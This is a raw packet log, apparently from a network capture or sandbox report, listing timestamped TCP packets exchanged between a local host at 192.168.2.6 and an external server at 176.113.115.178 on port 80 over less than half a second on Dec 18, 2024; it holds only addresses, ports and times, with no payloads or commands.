Dec 18, 2024 13:49:50.028620958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.028692007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.029403925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.029417992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.029493093 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.030204058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.030216932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.030417919 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.031053066 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.031064987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.031337023 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.031883955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.032330990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.032763004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.032778025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.032833099 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.032866955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.033550024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.033955097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.034049988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.034411907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.034797907 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.034903049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.035264969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.035641909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.035810947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.036184072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.036504030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.036801100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.037182093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.037431002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.037538052 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.038247108 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.038475037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.038599968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.039207935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.039433956 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.039702892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.040251017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.040510893 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.040699959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.041212082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.041443110 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.041527033 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.042265892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.042478085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.042613029 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.043556929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.043778896 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.044065952 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.044295073 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.044485092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.044608116 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.046401024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.046412945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.046474934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.047547102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.047559977 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.047667027 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.048427105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.048439980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.048501968 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.049273014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.103132963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.187797070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.188024044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.188067913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.188496113 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.188730001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.188815117 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.189055920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.189491987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.189565897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.189857960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.190499067 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.190562963 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.190702915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.191478968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.191528082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.191695929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.192492008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.192567110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.192692041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.193504095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.193691015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.193733931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.194613934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.194679976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.194823980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.195506096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.195564032 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.195723057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.196559906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.196688890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.196960926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.197753906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.197869062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.198174953 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.198612928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.198659897 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.198987007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.199559927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.199807882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.199826956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.200742006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.200928926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.201283932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.201864958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.202028036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.202568054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.202688932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.202740908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.202869892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.203540087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.203746080 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.203752041 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.204674959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.205157042 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.205173969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.205543995 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.205625057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.205806971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.206629038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.206715107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.206957102 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.207643986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.207881927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.208586931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.208709002 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.208781004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.209130049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.209608078 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.209827900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.209837914 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.210608006 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.210777998 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.210856915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.211607933 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.211792946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.211821079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.212666035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.212867975 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.212953091 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.213675976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.213713884 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.213890076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.214658022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.214720011 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.214900970 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.215636969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.215840101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.215846062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.216660976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.216805935 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.216839075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.217809916 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.217966080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.218003035 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.218760014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.218821049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.218977928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.219785929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.219856024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.219937086 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.220748901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.220887899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.220946074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.221752882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.221918106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.221997976 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.222687960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.222913980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.223337889 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.223748922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.223871946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.223911047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.224694014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.225058079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.225095987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.225773096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.225990057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.226011992 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.226758003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.227024078 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.227034092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.227775097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.227917910 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.227958918 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.228710890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.228957891 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.228985071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.229770899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.229964018 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.229974031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.230844975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.230967999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.231000900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.231789112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.231875896 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.232115030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.232800961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.232942104 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.232956886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.233767033 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.233948946 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.234189987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.234879017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.234957933 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.234972954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.235785007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.236020088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.236026049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.236824036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.236921072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.237035036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.237782955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.237921000 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.238073111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.238996029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.239075899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.239156961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.240025997 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.240114927 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.240180969 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.291351080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.380225897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.380376101 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.380767107 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.380820036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.381236076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.381362915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.381964922 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.382560015 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.382836103 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.382972002 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.383280039 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.383399010 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.383984089 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.384149075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.384217978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.384927988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.385129929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.385255098 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.385704041 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.386002064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.386259079 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.386665106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.386888027 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.386964083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.387676001 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.387949944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.388046980 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.388750076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.388875961 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.389085054 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.389695883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.389903069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.390096903 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.390662909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.390891075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.390938044 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.391704082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.391891003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.391999006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.392685890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.392911911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.393029928 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.393692017 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.393934965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.394042015 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.394737005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.394932985 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.395328999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.395720005 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.395948887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.396186113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.396706104 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.396913052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.397080898 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.397748947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.397953987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.398314953 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.398705959 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.398958921 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.399338007 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.400078058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.400132895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.400230885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.400764942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.401014090 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.401206017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.401770115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.402019978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.402111053 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.402884007 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.403126955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.403193951 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.403867960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.404225111 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.404449940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.404947042 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.405148983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.405267954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.406213045 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.406579018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.406739950 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.407233000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.407603025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.407742977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.408232927 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.408415079 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.408521891 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.409049034 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.409358978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.409457922 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.410171986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.410368919 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.410538912 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.411406994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.411565065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.411629915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.412313938 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.412473917 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.412569046 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.413089991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.413301945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.413641930 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.414056063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.414326906 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.414402962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.415218115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.415411949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.415656090 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.416285038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.416500092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.416594028 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.417555094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.417821884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:50.417918921 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:50.418550968 CET	80	49822	176.113.115.178	192.168.2.6
